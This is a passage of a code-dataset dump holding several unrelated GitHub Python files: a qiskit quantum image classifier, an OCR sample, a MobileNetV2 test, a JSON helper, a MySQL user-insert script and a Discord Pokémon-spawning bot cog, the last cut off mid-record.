dtype=tf.complex128)\r\n\r\n  def unitary_matrices(self, weights: tf.Tensor = None, unitary_dimension: int = 4) -> tf.Tensor:\r\n    \"\"\" Generate unitary matrices from hermitian matrices \r\n\r\n        From the array of weights, generate a per-weight hermitian matrix to then\r\n        generate a unitary matrix by exp(1j*H).\r\n\r\n    Args:\r\n      weights:              A tensor of size A tensor of size (circuit_dimension -1, unitary_dimension^2) or \r\n                            (circuit_dimension -3, (unitary_dimension^2)^2) for the normal/experimental\r\n                            and efficient circuit, respectively.  \r\n      \r\n      unitary_dimension:    The size of the resulting unitary matrix.  For a two-qubit unitary\r\n                            gate, the matrix is (4, 4) = 4 diagonal elements. For a four-qubit unitary gate, \r\n                            the matrix is (16, 16) = 16 diagonal elements.\r\n    \r\n    Output:\r\n      Tensor:               An unitary tensor of size (circuit_dimension -1, unitary_dimension, unitary_dimension) or \r\n                            (circuit_dimension -3, unitary_dimension^2, unitary_dimension^2) for the normal/experimental\r\n                            and efficient circuit, respectively.\r\n    \r\n    Raise:\r\n      is_unitary_matrix:    Raises an assert error if the resulting matrices are not unitary.\r\n    \"\"\"\r\n    if weights == None:\r\n      weights = self.weights\r\n\r\n    unitaries = []\r\n    \r\n    for weight in weights:\r\n      unitary = tf.linalg.expm(1j*self.hermitian_matrix(weight, unitary_dimension))\r\n      assert is_unitary_matrix(unitary)\r\n      unitaries.append(unitary)\r\n      del unitary\r\n    \r\n    U = tf.convert_to_tensor(unitaries, dtype=tf.complex128)\r\n    \r\n    del unitaries\r\n    gc.collect()\r\n    return U\r\n  \r\n\r\n  def execute(self, image: tf.Tensor = None, \r\n                    backend: str = \"aer_simulator\", \r\n                    draw: bool = False,\r\n                    output_format: str = \"mpl\",\r\n                    filename: str = \"qiskit_circuit\", \r\n                    shots: int = 512,\r\n                    weights: tf.Tensor = None,\r\n                    circuit_type: str = 'normal',\r\n                    device: str = \"/physical_device:CPU:0\") -> (dict):\r\n\r\n    \"\"\" Creates the Quantum Circuit for binary classification based on \r\n        the given image and weights.\r\n\r\n    Args:\r\n      image:            The image to classify. The size must be (circuit_size,)\r\n      \r\n      backend:          Backend simulator to execute the quantum circuit.\r\n\r\n      draw:             Indicate if the circuit should be drawn before \r\n                        executing the experiment. There is no option to \r\n                        draw this circuit interactively but rather it is\r\n                        written to a file.\r\n\r\n      output_format:    Format to draw the circuit. For me, look at the backend plotters\r\n                        supported by Qiskit.\r\n\r\n      filename:         Filename of the resulting drawing.\r\n\r\n      shots:            The number of times to repeat the experiment.\r\n\r\n      weights:          Model space parameters to influence the binary classification.\r\n\r\n      circuit_type:     Type of circuit to build. Currently, we support three types of \r\n                        circuits:\r\n\r\n                          1.  Normal (normal): this circuit uses (circuit_size - 1) two-qubit unitary gates\r\n                              spread across log2(circuit_size) layers. This circuit expects\r\n                              (circuit_size - 1)*(unitary_size^2) parameters. This circuit uses \r\n                              circuit_size qubits.\r\n\r\n                          2.  Efficient (efficient): this circuit uses (circuit_size - 3) four-qubit unitary gates\r\n                              spread across (circuit_size - 3) layers. This circuit uses only 4 qubits\r\n                              and one classical register but it uses (circuit_size - 1)*(unitary_size^2)^2\r\n                              parameters\r\n\r\n                          3.  Experimental (experimental): this circuit is my own implementation. It uses \r\n                              (circuit_size -1) two-qubit unitary gates spread over\r\n                              (circuit_size - 4)/2 layers but it uses only 4 qubits and one classical\r\n                              register. This circuit uses (circuit_size - 1)*(unitary_size^2) trainable parameters\r\n      \r\n      device:           It specifies the device to place the data. For GPU-enable systems, it offers Hardware \r\n                        Acceleration for Tensorflow operations. By default, it uses the CPU.\r\n\r\n    Output:\r\n      counts:           It returns the result from the binary classification with the counts per class in the form\r\n                        {\"0\": x, \"1\": y}, where x + y = shots. If there is an error, it will return None.\r\n\r\n    Raises:\r\n      ValueError:       - If image is not given, it will raise a ValueError since it is needed to calculate the feature map.\r\n                        - If the filename is not given (when drawing the circuit), it will raise the exception since the class\r\n                          does not support saving to empty filenames.\r\n                        - If the circuit_type is not one of the three allowed names, it will raise the exception since it is \r\n                          unknown behavior.\r\n    \"\"\"\r\n    if image is None:\r\n      raise ValueError(\"The image cannot be None. Please pass an image.\")\r\n    \r\n    if len(filename) <= 0 and draw:\r\n      raise ValueError(\"Please indicate a name for the filename\")\r\n\r\n    tf.device(device)\r\n\r\n    if weights is None:\r\n      if circuit_type == 'normal' or circuit_type == 'experimental':\r\n        self.weights = tf.random.normal((self.circuit_dimension - 1, self.unitary_dimension ** 2))\r\n      else:\r\n        self.weights = tf.random.normal((self.circuit_dimension - 3, (self.unitary_dimension * 2) ** 2))\r\n    else:\r\n      self.weights = weights\r\n\r\n    feature_map = self.feature_map(image.numpy().flatten())\r\n\r\n    if circuit_type == 'normal' or circuit_type == 'experimental':\r\n      unitaries = self.unitary_matrices().numpy()\r\n    else:\r\n      unitaries = self.unitary_matrices(unitary_dimension=self.unitary_dimension**2).numpy()\r\n\r\n    if circuit_type == 'efficient':\r\n      quantum_circuit = self.gen_efficient_circuit(feature_map, unitaries)\r\n    elif circuit_type == 'normal':\r\n      quantum_circuit = self.gen_normal_circuit(feature_map, unitaries)\r\n    elif circuit_type == 'experimental':\r\n      quantum_circuit = self.gen_experimental_circuit(feature_map, unitaries)\r\n    else:\r\n      raise ValueError(f\"circuit_type can only be normal, efficient or experimental. We received: {circuit_type}\")\r\n\r\n    if self.draw_circuit or draw:\r\n      fig = quantum_circuit.draw(output=output_format, filename=filename)\r\n      fig.clf()\r\n\r\n    try:\r\n      if backend == \"aer_simulator\":\r\n        circuit_backend = Aer.get_backend(backend)\r\n        if 'GPU' in circuit_backend.available_devices() and self.enable_gpu:\r\n          circuit_backend = Aer.get_backend(backend, device='GPU')\r\n          if self.show_gpu_support:\r\n            print(f\"The backend {backend} supports GPU. We are using it!\")\r\n        else:\r\n          circuit_backend = Aer.get_backend(backend)\r\n          if self.show_gpu_support:\r\n            print(f\"The backend {backend} supports GPU. We are ignoring it...\")\r\n      else:\r\n        circuit_backend = Aer.get_backend(backend)\r\n        if self.show_gpu_support:\r\n            print(f\"Your backend {backend} does not support GPU. We are ignoring it...\")\r\n      \r\n      counts = qiskit.execute(quantum_circuit, circuit_backend, shots=shots).result().get_counts()\r\n\r\n      del quantum_circuit\r\n      del feature_map\r\n      del unitaries\r\n      del circuit_backend\r\n      gc.collect()\r\n\r\n      return counts\r\n    except AerError as e:\r\n      print(f\"This module generated the following error [{e}]\")\r\n      return None\r\n\r\n\r\n  def gen_normal_circuit(self, features: tf.Tensor, unitaries: tf.Tensor) -> qiskit.QuantumCircuit:\r\n    \"\"\" Generates the 'normal' Quantum Circuit \r\n\r\n    Args:\r\n      features:         Tensor representing the feature map for the image to classify.\r\n\r\n      unitaries:        Tensor containing the description of the unitary gates for the circuit.\r\n\r\n    Output:\r\n      QuantumCircuit:   Quantum Circuit of size with circuit_dimension qubits and circuit_dimension -1 \r\n                        unitary gates over log2(circuit_dimension) layers.\r\n    \"\"\"\r\n    quantum_circuit = qiskit.QuantumCircuit(self.circuit_dimension, 1)\r\n\r\n    for index, feature in enumerate(features):\r\n      quantum_circuit.initialize(feature, index)\r\n    \r\n    index = 0\r\n    for layer in range(int(np.log2(self.circuit_dimension))):\r\n      for lower in range((2**layer -1 if layer > 1 else layer), self.circuit_dimension, (2**(layer+1))):\r\n        upper = lower + layer + 1 if layer < 2 else lower + 2**layer\r\n\r\n        quantum_circuit.unitary(unitaries[index], [quantum_circuit.qubits[lower], quantum_circuit.qubits[upper]], f\"$U_{{{index}}}$\")\r\n        index += 1\r\n    \r\n    quantum_circuit.measure([self.circuit_dimension - 1], [0])\r\n\r\n    return quantum_circuit\r\n\r\n  def gen_efficient_circuit(self, features, unitaries):\r\n    \"\"\" Generates the efficient Quantum Circuit \r\n\r\n    Args:\r\n      features:         Tensor representing the feature map for the image to classify.\r\n\r\n      unitaries:        Tensor containing the description of the unitary gates for the circuit.\r\n\r\n    Output:\r\n      QuantumCircuit:   Quantum Circuit of size with 4 qubits and circuit_dimension - 3 \r\n                        unitary gates over circuit_dimension - 3 layers.\r\n    \"\"\"\r\n    quantum_circuit = qiskit.QuantumCircuit(4, 1)\r\n\r\n    for index in range(4):\r\n      quantum_circuit.initialize(features[index], index)\r\n    \r\n    quantum_circuit.unitary(unitaries[0], quantum_circuit.qubits[0:4], f'$U_{0}$')\r\n\r\n    for index, feat in enumerate(features[4:]):\r\n      quantum_circuit.reset(3)\r\n      quantum_circuit.initialize(feat, 3)\r\n      quantum_circuit.unitary(unitaries[index + 1], quantum_circuit.qubits[0:4], f\"$U_{{{index + 1}}}$\")\r\n    \r\n    quantum_circuit.measure([0], [0])\r\n\r\n    return quantum_circuit\r\n  \r\n  def gen_experimental_circuit(self, features, unitaries):\r\n    \"\"\" Generates the experimental Quantum Circuit \r\n\r\n    Args:\r\n      features:         Tensor representing the feature map for the image to classify.\r\n\r\n      unitaries:        Tensor containing the description of the unitary gates for the circuit.\r\n\r\n    Output:\r\n      QuantumCircuit:   Quantum Circuit of size with 4 qubits and circuit_dimension - 1 \r\n                        unitary gates over (circuit_dimension - 4)/2 layers.\r\n    \"\"\"\r\n    quantum_circuit = qiskit.QuantumCircuit(4,1)\r\n\r\n    for index in range(4):\r\n      quantum_circuit.initialize(features[index], index)\r\n    \r\n    quantum_circuit.unitary(unitaries[0], quantum_circuit.qubits[0:2], f'$U_{0}$')\r\n    quantum_circuit.unitary(unitaries[1], quantum_circuit.qubits[2:4], f'$U_{1}$')\r\n\r\n    layers = (self.circuit_dimension - 4) // 2\r\n\r\n    reset_indexes = [[0,2],[1,3]]\r\n\r\n    idx = 0\r\n    for index in range(0, layers):\r\n      quantum_circuit.reset(reset_indexes[idx%2][0])\r\n      quantum_circuit.reset(reset_indexes[idx%2][1])\r\n      quantum_circuit.initialize(features[2*index + 4], reset_indexes[idx%2][0])\r\n      quantum_circuit.initialize(features[2*index + 5], reset_indexes[idx%2][1])\r\n      quantum_circuit.unitary(unitaries[2*index + 2], quantum_circuit.qubits[0:2], f'$U_{{{2*index + 2}}}$')\r\n      quantum_circuit.unitary(unitaries[2*index + 3], quantum_circuit.qubits[2:4], f'$U_{{{2*index + 3}}}$')\r\n      # idx += 1\r\n    \r\n    quantum_circuit.unitary(unitaries[-1], [quantum_circuit.qubits[1],quantum_circuit.qubits[3]], f'$U_{{{2*index + 4}}}$')\r\n\r\n    quantum_circuit.measure([3], [0])\r\n\r\n    return quantum_circuit\r\n\r\n  def plot_circuits(self, image_size: int = 4, circuits: list = [\"normal\"], path: str = \"circuits/\", filename: str = \"circuit\", extension: str = \"png\", output_format: str = \"mpl\") -> None:\r\n    \"\"\" Only plot function for the Quantum Operator\r\n\r\n        Plot a generic version of the circuits. It creates a Gaussian distributed image \r\n        as the input. \r\n\r\n    Args:\r\n      image_size:       Size of the image to generate.\r\n\r\n      circuits:         Type of circuits to generate. It accepts 'normal', 'efficient',\r\n                        and 'experimental'.\r\n\r\n      path:             Path where the circuit images must be stored. It accepts both relative\r\n                        and absolute paths. Before saving the drawings, it will check if the path\r\n                        exist, if it does not, it will be created.\r\n\r\n      filename:         Base filename of the resulting circuit. The final filename will be composed by\r\n                        this argument, the circuit type, the image size, and the extension.\r\n\r\n      extension:        It defines the type of file to generate. Be aware the output_format must support\r\n                        your extension. For more info, refer to Qiskit documentation.\r\n\r\n      output_format:    The backend to render the circuit. It is passed down to Qiskit.\r\n    \"\"\"\r\n    self.circuit_dimension = image_size*image_size\r\n    for circuit_type in circuits:\r\n      print(f\"Creating the {circuit_type} circuit\")\r\n      if circuit_type == 'normal' or circuit_type == 'experimental':\r\n        weights = tf.random.normal((self.circuit_dimension - 1, self.unitary_dimension ** 2))\r\n        unitaries = self.unitary_matrices(weights=weights).numpy()\r\n      else:\r\n        weights = tf.random.normal((self.circuit_dimension - 3, (self.unitary_dimension ** 2) ** 2))\r\n        unitaries = self.unitary_matrices(weights=weights, unitary_dimension=self.unitary_dimension**2).numpy()\r\n\r\n      image = np.random.normal(size=(image_size, image_size))\r\n      ft_map = self.feature_map(image.flatten())\r\n\r\n      if circuit_type == 'efficient':\r\n        quantum_circuit = self.gen_efficient_circuit(ft_map, unitaries)\r\n      elif circuit_type == 'normal':\r\n        quantum_circuit = self.gen_normal_circuit(ft_map, unitaries)\r\n      elif circuit_type == 'experimental':\r\n        quantum_circuit = self.gen_experimental_circuit(ft_map, unitaries)\r\n      else:\r\n        raise ValueError(f\"circuit_type can only be normal, efficient or experimental. We received: {circuit_type}\")\r\n\r\n      abs_path = os.path.abspath(path)\r\n      if not os.path.exists(abs_path):\r\n        os.makedirs(abs_path)\r\n\r\n      abs_filename = os.path.join(abs_path, f\"{filename}_{circuit_type}_{image_size}x{image_size}.{extension}\")\r\n      fig = quantum_circuit.draw(output=output_format, filename=abs_filename)\r\n      fig.clf()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"IsaacNez/qml","sub_path":"network/quantum.py","file_name":"quantum.py","file_ext":"py","file_size_in_byte":19546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16682643507","text":"from PIL import Image\nimport sys\n\nimport pyocr\nimport pyocr.builders\n\ntools = pyocr.get_available_tools()\nif len(tools) == 0:\n    print(\"No OCR tool found\")\n    sys.exit(1)\ntool = tools[0]\nprint(\"Will use tool '%s'\" % (tool.get_name()))\n\nlangs = tool.get_available_languages()\nprint(\"Available languages: %s\" % \", \".join(langs))\n\nprint(\"\\n----------------------------\\n\")\n\njpn_txt = tool.image_to_string(\n Image.open('wiki-top-jpn.png'),\n lang='jpn',\n builder=pyocr.builders.TextBuilder()\n)\neng_txt = tool.image_to_string(\n Image.open('wiki-top-eng.png'),\n lang='eng',\n builder=pyocr.builders.TextBuilder()\n)\n\nprint(jpn_txt)\nprint(\"\\n----------------------------\\n\")\nprint(eng_txt)\n","repo_name":"APPLE4869/ocr-sample","sub_path":"exec.py","file_name":"exec.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72575626322","text":"import os\r\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\r\n\r\nimport tensorflow as tf\r\nimport cv2\r\nimport numpy as np\r\nimport glob\r\nfrom random import randint\r\n\r\nfrom mobilenetv2 import MobileNetv2\r\n\r\nclass_names = [\"true_positive\", \"false_positive\"]\r\n\r\nIMG_SHAPE = (32, 32, 3)\r\nmodel = MobileNetv2(input_shape = IMG_SHAPE, k = 2, alpha=1.0)\r\nmodel.summary()\r\n\r\nmodel.load_weights('./verification_mobilenetv2_model_try.h5')\r\nsrc = glob.glob(\"/home/mju-125/test-server/data/val/false_positive/*.jpg\")\r\n\r\ntest_images = []\r\n\r\nnum_test_imgs = 10\r\n\r\nfor i in range(num_test_imgs):\r\n\tindex = randint(0, len(src)-1)\r\n\r\n\timg = cv2.imread(src[index])\r\n\timg = cv2.resize(img, (32,32))\r\n\r\n\timg=img/255.0\r\n\r\n\ttest_images.append(img)\r\n\r\n# img1 = img.reshape(1,32,32,3)\r\ntest_images = np.array(test_images)\r\nprint(test_images.shape)\r\nprediction = model.predict(test_images)\r\nprint(prediction)\r\n","repo_name":"tranleanh/mobilenets-classifier-keras","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"8289195293","text":"#!usr/bin/py\n\n\"\"\"\n\n\"\"\"\n\nimport json\n\n\ndef load_from_file(file):\n\n    \"\"\"\n\n    Args:\n        file ():\n\n    Returns:\n        (Dictionary): the data from the file\n\n    \"\"\"\n    with open(file) as json_data:\n        return json.load(json_data)\n\n\ndef save_to_file(data, file, pretty_print=False):\n    \"\"\"\n\n    Args:\n        data (Dictionary): the JSON data to save to file\n        file (String): name of file to save\n        pretty_print (boolean): whether to pretty print data to file or single\n\n    Returns:\n        None\n\n    \"\"\"\n    with open(file, 'w') as output:\n        if pretty_print:\n            json.dump(data, output, sort_keys=True, indent=4, separators=(',', ': '))\n        else:\n            json.dump(data, output)\n","repo_name":"Dantera/Imgen","sub_path":"jsoner.py","file_name":"jsoner.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12243196795","text":"from mysql.connector import MySQLConnection, Error\nfrom python_mysql_dbconfig import read_db_config\nimport datetime\nimport pendulum\nimport pytz\nimport uuid\nimport re\nimport socket\nimport smtplib\nimport socket\nimport cpuinfo\nimport getpass\nimport pymysql\n\n\ninfo = cpuinfo.get_cpu_info()\nhostname = socket.gethostname()\nhost_ip = socket.gethostbyname(hostname)\nuserID = getpass.getuser()\nget_uuid = uuid.getnode()\nmodified_by = 'user ID: ' + userID + ', host ID: ' + str(get_uuid) + ', computer name: '+ hostname + ', ip address: ' + host_ip\n\ndb = pymysql.connect(\"localhost\",\"root\",\"\",\"DB3\" )\ncursor = db.cursor()\n\n\nemail_address = input(\"Enter your E-Mail address: \")\nuser_name = str(email_address)\n\naddressToVerify = email_address\nmatch = re.match('^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4})$', addressToVerify)\nif match == None:\n    print('Bad Syntax')\n    raise ValueError('Bad Syntax')\n\ndef validate_email(addressToVerify):\n    splitAddress = addressToVerify.split('@')\n    domain = str(splitAddress[1])\n    records = dns.resolver.query(domain, 'MX')\n    mxRecord = records[0].exchange\n    mxRecord = str(mxRecord)\n    host = socket.gethostname()\n    server = smtplib.SMTP()\n    server.set_debuglevel(0)\n    server.connect(mxRecord)\n    server.helo(host)\n    server.mail('vskdtc@gmail.com')\n    code, message = server.rcpt(str(addressToVerify))\n    server.quit()\n    time.sleep(1)\n    print(domain)\n    return code\n\n\ndef utcnow():\n    return datetime.datetime.now(tz=pytz.utc)\ncreated_date = utcnow().isoformat()\nlastupdated_date = created_date\n\ncurrentDT = pendulum.now().isoformat()\n\nlz_now = pendulum.now('America/Los_Angeles')\noffset_utc = lz_now.offset/3600\n\ndef query_id_urn(user_name):\n    try:\n        dbconfig = read_db_config()\n        conn = MySQLConnection(**dbconfig)\n        cursor = conn.cursor(buffered=True)\n        sql = \"SELECT id_urn FROM user WHERE email = %(user_name)s\"\n        cursor.execute(sql, {'user_name': user_name})\n        id_urn = cursor.fetchone()\n        id_urn = str(id_urn).replace(\"('\",\"\")\n        id_urn = str(id_urn).replace(\"',)\",\"\")\n        return(id_urn)\n\n    except Error as e:\n        print(e)\n    finally:\n        #cursor.close()\n        conn.close()\n        \ndef query_created_date(user_name):\n    try:\n        dbconfig = read_db_config()\n        conn = MySQLConnection(**dbconfig)\n        cursor = conn.cursor(buffered=True)\n        sql = \"SELECT created_date FROM user WHERE email = %(user_name)s\"\n        cursor.execute(sql, {'user_name': user_name})\n        created_date = cursor.fetchone()\n        created_date = str(created_date).replace(\"('\",\"\")\n        created_date = str(created_date).replace(\"',)\",\"\")\n        return(created_date)\n\n    except Error as e:\n        print(e)\n    finally:\n        cursor.close()\n        conn.close()\n\nid_urn = query_id_urn(user_name)\n\nif id_urn == 'None':\n    id = uuid.uuid1()\n    id_urn = id.urn.replace(\"urn:uuid:\",\"\")\nelse:\n    id_urn = id_urn\n    created_date = query_created_date(user_name)\n    \n\ndef insert_user(username, email, id_urn, created_date, lastupdated_date, time_zone, modified_by):\n    query = \"INSERT INTO user(username,email,id_urn,created_date,lastupdated_date,time_zone,modified_by)\" \\\n            \"VALUES(%s,%s,%s,%s,%s,%s,%s)\"\n    args = (user_name,email,id_urn,created_date,lastupdated_date,time_zone,modified_by)\n\n    try:\n        db_config = read_db_config()\n        conn = MySQLConnection(**db_config)\n\n        cursor = conn.cursor()\n        cursor.execute(query, args)\n\n        if cursor.lastrowid:\n            print('last insert id', cursor.lastrowid)\n            print(lz_now)\n            print(offset_utc)\n            print(currentDT)\n            print(hostname)\n            print(get_uuid)\n        else:\n            print('last insert id not found')\n\n        conn.commit()\n    except Error as error:\n        print(error)\n\n    finally:\n        cursor.close()\n        conn.close()\n\ndef main():\n    insert_user(user_name,addressToVerify, id_urn, created_date, lastupdated_date, currentDT, modified_by)\n\nif __name__ == '__main__':\n    main()","repo_name":"vskdtc/python-samples","sub_path":"src/insert.py","file_name":"insert.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35939495472","text":"import asyncio\nimport io\nimport logging\nimport random\nimport sys\nimport time\nimport traceback\nfrom datetime import datetime, timedelta\n\nimport aiohttp\nimport discord\nfrom discord.ext import commands\n\nfrom helpers import checks, models, mongo\nfrom .database import Database\n\n\ndef write_fp(data):\n    arr = io.BytesIO()\n    arr.write(data)\n    arr.seek(0)\n    return arr\n\n\nclass Spawning(commands.Cog):\n    \"\"\"For basic bot operation.\"\"\"\n\n    def __init__(self, bot):\n        self.bot = bot\n\n        if not hasattr(self.bot, \"spawns\"):\n            self.bot.spawns = {}\n\n        self.bot.cooldown_users = {}\n        self.bot.cooldown_guilds = {}\n        self.bot.redeem = {}\n\n        if not hasattr(self.bot, \"guild_counter\"):\n            self.bot.guild_counter = {}\n\n    @property\n    def db(self) -> Database:\n        return self.bot.get_cog(\"Database\")\n\n    @commands.Cog.listener()\n    async def on_message(self, message: discord.Message):\n        try:\n            await self.handle_message(message)\n        except discord.Forbidden:\n            pass\n\n    async def handle_message(self, message: discord.Message):\n        # TODO this method is wayyy too long.\n\n        if message.guild is None:\n            return\n\n        if not self.bot.enabled:\n            return\n\n        if message.author.bot:\n            return\n\n        current = time.time()\n\n        # Spamcheck, every two seconds\n\n        if self.bot.env != \"dev\":\n            if current - self.bot.cooldown_users.get(message.author.id, 0) < 2:\n                return\n\n        self.bot.cooldown_users[message.author.id] = current\n\n        # Increase XP on selected pokemon\n\n        member = await self.db.fetch_member_info(message.author)\n\n        if member is not None:\n\n            silence = member.silence\n\n            if message.guild:\n                guild = await self.db.fetch_guild(message.guild)\n                silence = silence or guild and guild.silence\n\n            pokemon = await self.db.fetch_pokemon(message.author, member.selected)\n\n            if pokemon is not None and pokemon.held_item != 13002:\n\n                # TODO this stuff here needs to be refactored\n\n                if pokemon.level < 100 and pokemon.xp < pokemon.max_xp:\n                    xp_inc = random.randint(10, 40)\n\n                    if member.boost_active or message.guild.id == 716390832034414685:\n                        xp_inc *= 2\n\n                    pokemon.xp += xp_inc\n\n                    await self.db.update_member(\n                        message.author,\n                        {\"$inc\": {f\"pokemon.{member.selected}.xp\": xp_inc},},\n                    )\n\n                if pokemon.xp >= pokemon.max_xp and pokemon.level < 100:\n                    update = {\n                        \"$set\": {\n                            f\"pokemon.{member.selected}.xp\": 0,\n                            f\"pokemon.{member.selected}.level\": pokemon.level + 1,\n                        }\n                    }\n                    embed = self.bot.Embed()\n                    embed.title = f\"Congratulations {message.author.display_name}!\"\n\n                    name = str(pokemon.species)\n\n                    if pokemon.nickname is not None:\n                        name += f' \"{pokemon.nickname}\"'\n\n                    embed.description = f\"Your {name} is now level {pokemon.level + 1}!\"\n\n                    if pokemon.shiny:\n                        embed.set_thumbnail(url=pokemon.species.shiny_image_url)\n                    else:\n                        embed.set_thumbnail(url=pokemon.species.image_url)\n\n                    pokemon.level += 1\n                    guild = await self.db.fetch_guild(message.channel.guild)\n                    if pokemon.get_next_evolution(guild.is_day) is not None:\n                        evo = pokemon.get_next_evolution(guild.is_day)\n                        embed.add_field(\n                            name=f\"Your {name} is evolving!\",\n                            value=f\"Your {name} has turned into a {evo}!\",\n                        )\n\n                        if pokemon.shiny:\n                            embed.set_thumbnail(url=evo.shiny_image_url)\n                        else:\n                            embed.set_thumbnail(url=evo.image_url)\n\n                        update[\"$set\"][f\"pokemon.{member.selected}.species_id\"] = evo.id\n\n                    else:\n                        c = 0\n                        for move in pokemon.species.moves:\n                            if move.method.level == pokemon.level:\n                                embed.add_field(\n                                    name=f\"New move!\",\n                                    value=f\"Your {name} can now learn {move.move.name}!\",\n                                )\n                                c += 1\n\n                        for i in range(-c % 3):\n                            embed.add_field(\n                                name=\"‎\", value=\"‎\",\n                            )\n\n                    await self.db.update_member(message.author, update)\n\n                    if silence and pokemon.level == 100:\n                        await message.author.send(embed=embed)\n\n                    if not silence:\n                        await message.channel.send(embed=embed)\n\n                elif pokemon.level == 100 and pokemon.xp < pokemon.max_xp:\n                    await self.db.update_member(\n                        message.author,\n                        {\"$set\": {f\"pokemon.{member.selected}.xp\": pokemon.max_xp}},\n                    )\n\n        # Increment guild activity counter\n\n        if not message.guild:\n            return\n\n        if self.bot.env != \"dev\":\n            if current - self.bot.cooldown_guilds.get(message.guild.id, 0) < 1.5:\n                return\n\n        self.bot.cooldown_guilds[message.guild.id] = current\n        self.bot.guild_counter[message.guild.id] = (\n            self.bot.guild_counter.get(message.guild.id, 0) + 1\n        )\n\n        if self.bot.guild_counter[message.guild.id] >= (\n            5 if self.bot.env == \"dev\" else 15\n        ):\n            self.bot.guild_counter[message.guild.id] = 0\n\n            guild = await self.db.fetch_guild(message.guild)\n\n            if len(guild.channels) > 0:\n                channel = message.guild.get_channel(random.choice(guild.channels))\n            else:\n                channel = message.channel\n\n            if channel is None:\n                return\n\n            if message.guild.id == 716390832034414685 and self.bot.env != \"dev\":\n                channel, channel2 = [\n                    self.bot.get_channel(x)\n                    for x in random.sample(\n                        [\n                            717095398476480562,\n                            720020140401360917,\n                            720231680564264971,\n                            724762012453961810,\n                            724762035094683718,\n                            728867911799668747,\n                        ],\n                        2,\n                    )\n                ]\n\n                await self.spawn_pokemon(self.bot.get_channel(720944005856100452))\n\n                if channel2.id not in self.bot.redeem or datetime.utcnow() - self.bot.redeem[\n                    channel2.id\n                ] > timedelta(\n                    minutes=1\n                ):\n                    await self.spawn_pokemon(channel2)\n\n            if channel.id not in self.bot.redeem or datetime.utcnow() - self.bot.redeem[\n                channel.id\n            ] > timedelta(minutes=1):\n                await self.spawn_pokemon(channel)\n\n    async def spawn_pokemon(self, channel, species=None, shiny=None):\n        if species is None:\n            species = self.bot.data.random_spawn()\n\n        # determine species & stats\n\n        level = min(max(int(random.normalvariate(20, 10)), 1), 100)\n        inds = [i for i, x in enumerate(species.name) if x.isalpha()]\n        blanks = random.sample(inds, len(inds) // 2)\n\n        # get hint\n\n        main = self.bot.data.species_by_number(species.dex_number)\n        hint = \"\".join(x if i in blanks else \"\\\\_\" for i, x in enumerate(main.name))\n\n        # spawn\n\n        guild = await self.db.fetch_guild(channel.guild)\n\n        embed = self.bot.Embed()\n        embed.title = f\"A wild pokémon has appeared!\"\n\n        prefix = await self.bot.get_cog(\"Bot\").determine_prefix(channel.guild)\n        prefix = prefix[0]\n        embed.description = (\n            f\"Guess the pokémon and type `{prefix}catch <pokémon>` to catch it!\"\n        )\n\n        async with aiohttp.ClientSession() as session:\n            url = f\"https://server.poketwo.net/image?species={species.id}&time=\"\n            url += \"day\" if guild.is_day else \"night\"\n            try:\n                async with session.get(url) as resp:\n                    if resp.status == 200:\n                        arr = await self.bot.loop.run_in_executor(\n                            None, write_fp, await resp.read()\n                        )\n                        image = discord.File(arr, filename=\"pokemon.jpg\")\n                        embed.set_image(url=\"attachment://pokemon.jpg\")\n                    else:\n                        raise Exception(\"Server error\")\n            except Exception as error:\n                logging.error(\"Couldn't fetch spawn image\")\n                traceback.print_exception(\n                    type(error), error, error.__traceback__, file=sys.stderr\n                )\n                image = discord.File(\n                    f\"data/images/{species.id}.png\", filename=\"pokemon.png\"\n                )\n                embed.set_image(url=\"attachment://pokemon.png\")\n\n        self.bot.spawns[channel.id] = (species, level, hint, shiny, [])\n\n        await channel.send(\n            file=image, embed=embed,\n        )\n\n    @checks.has_started()\n    @commands.command(aliases=[\"h\"])\n    async def hint(self, ctx: commands.Context):\n        \"\"\"Get a hint for the wild pokémon.\"\"\"\n\n        if ctx.channel.id not in self.bot.spawns:\n            return\n\n        hint = self.bot.spawns[ctx.channel.id][2]\n\n        await ctx.send(f\"The pokémon is {hint}.\")\n\n    @checks.has_started()\n    @commands.command(aliases=[\"c\"])\n    async def catch(self, ctx: commands.Context, *, guess: str):\n        \"\"\"Catch a wild pokémon.\"\"\"\n\n        # Retrieve correct species and level from tracker\n\n        if ctx.channel.id not in self.bot.spawns:\n            return\n\n        species, level, hint, shiny, users = self.bot.spawns[ctx.channel.id]\n\n        if (\n            models.deaccent(guess.lower().replace(\"′\", \"'\"))\n            not in species.correct_guesses\n        ):\n            return await ctx.send(\"That is the wrong pokémon!\")\n\n        # Correct guess, add to database\n\n        if ctx.channel.id == 720944005856100452:\n            if ctx.author.id in users:\n                return await ctx.send(\"You have already caught this pokémon!\")\n\n            users.append(ctx.author.id)\n        else:\n            del self.bot.spawns[ctx.channel.id]\n\n        member = await self.db.fetch_member_info(ctx.author)\n\n        if shiny is None:\n            shiny = member.determine_shiny(species)\n\n        await self.db.update_member(\n            ctx.author,\n            {\n                \"$inc\": {\"shinies_caught\": 1 if shiny else 0},\n                \"$push\": {\n                    \"pokemon\": {\n                        \"species_id\": species.id,\n                        \"level\": level,\n                        \"xp\": 0,\n                        \"nature\": mongo.random_nature(),\n                        \"iv_hp\": mongo.random_iv(),\n                        \"iv_atk\": mongo.random_iv(),\n                        \"iv_defn\": mongo.random_iv(),\n                        \"iv_satk\": mongo.random_iv(),\n                        \"iv_sdef\": mongo.random_iv(),\n                        \"iv_spd\": mongo.random_iv(),\n                        \"shiny\": shiny,\n                    }\n                },\n            },\n        )\n\n        message = f\"Congratulations 